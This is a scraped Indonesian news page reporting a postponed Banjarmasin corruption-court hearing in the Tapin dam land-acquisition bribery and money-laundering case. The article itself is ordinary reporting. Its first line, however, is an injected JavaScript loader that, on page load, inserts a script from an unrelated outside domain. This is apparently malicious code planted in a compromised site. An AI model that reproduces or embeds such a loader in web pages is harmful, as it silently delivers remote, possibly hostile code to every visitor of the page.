(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tiga Terdakwa Kasus Korupsi Bendungan Tapin Tak Hadirkan Saksi Meringankan


KANALKALIMANTAN.COM, BANJARMASIN – Sidang kasus gratifikasi pencucian uang proyek pembebasan lahan proyek Bendungan Tapin di Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin berlanjut.

Setelah Jaksa Penuntut Umum (JPU) dari Kejari Tapin diberikan kesempatan menghadirkan saksi fakta dan ahli, kini giliran tiga terdakwa diberi kesempatan menghadirkan saksi atau ahli a de charger (meringankan).

Akan tetapi pada sidang yang digelar Senin (14/8/2023) pagi, penasehat hukum terdakwa Herman dan Achmad Rizaldy maupun penasehat hukum terdakwa Sugianor belum dapat menghadirkan saksi atau ahli a de charger.

“Hari ini kami belum bisa menghadirkan saksi fakta, kami minta waktu untuk menghadirkan saksi fakta dari pihak kepolisian,” kata penasehat hukum Marudut Tampubolon kepada majelis hakim.

Baca juga: Siaga Bencana Karhutla, Ini Pesan Wali Kota Banjarbaru

Marudut menjelaskan alasannya ingin menghadirkan saksi dari pihak kepolisian sebab perkara ini sebelumnya pernah dilaporkan ke kepolisian sebelum ditangani oleh Kejari Tapin dan Kejati Kalsel.

Sementara itu, Rahmat, penasehat hukum terdakwa Sugianor mengatakan, sudah menghadirkan seorang ahli pada sidang sebelumnya, sehingga pihaknya merasa tidak perlu lagi menghadirkan ahli yang lainnya.

“Kemarin kita hadirkan ahli hukum pidana, jadi kami rasa sudah cukup,” ujarnya.

Karena ketiga terdakwa belum siap menghadirkan saksi/ahli, majelis hakim yang diketuai Suwandi memutuskan untuk menunda persidangan sampai tujuh hari kedepan untuk memberikan kesempatan ketiga terdakwa mengahadirkan saksi ahli a de charger.

Baca juga: Pengguna QRIS di Kalsel Mencapai 475 Ribu

“Sidang dilanjutkan pada tanggal 21 Agustus 2023 dengan agenda pemeriksaan saksi atau ahli meringankan dari penasehat hukum terdakwa,” tutup Suwandi.

Pada sidang penundaan tersebut terdakwa Sugianor s-mantan Kades Pipitak Jaya- hadir mengenakan baju berwarna putih dan berpeci hitam, terdakwa Achmad Rizaldy -ASN guru SD- mengenakan baju hitam berpeci hitam, sedangkan terdakwa Herman -swasta- mengenakan baju berwarna merah dan berpeci putih.

Terlihat sejumlah kerabat dan teman ketiga terdakwa dari Tapin turut hadir menyaksikan persidangan. Beberapa orang juga terlihat mengenakan baju PGRI yang merupakan teman kerja terdakwa Achmad Rizaldy sebagai guru SD.

Untuk diketahui, tiga orang terdakwa kasus gratifikasi pembebasan lahan proyek Bendungan Tapin didakwa menerima suap ratusan juta rupiah. Sugianor Kades Pipitak Jaya menerima Rp800 juta, Achmad Rizaldy ASN Guru SD Rp600 juta, dan Herman swasta Rp945 juta.

Baca juga: Bisa Lewati Misi Sulit Lawan Persib Bandung

Ketiganya didakwa pasal berlapis yaitu pasal 18 Jo Pasal 11 Undang-Undang RI Nomor 31 tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi.

Kemudian Pasal 3 Jo pasal 4 Undang-Undang Nomor 8 tahun 2010 tentang Pemberantasan Tindak Pidana Pencucian Uang (TPPU). Khusus untuk terdakwa Herman didakwa pasal 3 Jo Pasal 5 Undang-Undang TPPU. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Sempat Sengat Pelajar Madrasah, Sarang Tawon Dalam Kelas Dievakuasi Damkar HSU

KANALKALIMANTAN.COM, AMUNTAI - Khawatir membahayakan para pelajar, sarang tawon berukuran sedang berhasil dievakuasi petugas Pemadam… Read More

15 menit ago

Peningkatan Kapasitas Anggota BPD, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai penting peranan… Read More

22 menit ago

Dua Raperda Disahkan, Ketua DPRD: Payung Hukum yang Jelas Bagi Cagar Budaya di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More

2 jam ago

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

5 jam ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

6 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

7 jam ago

This website uses cookies.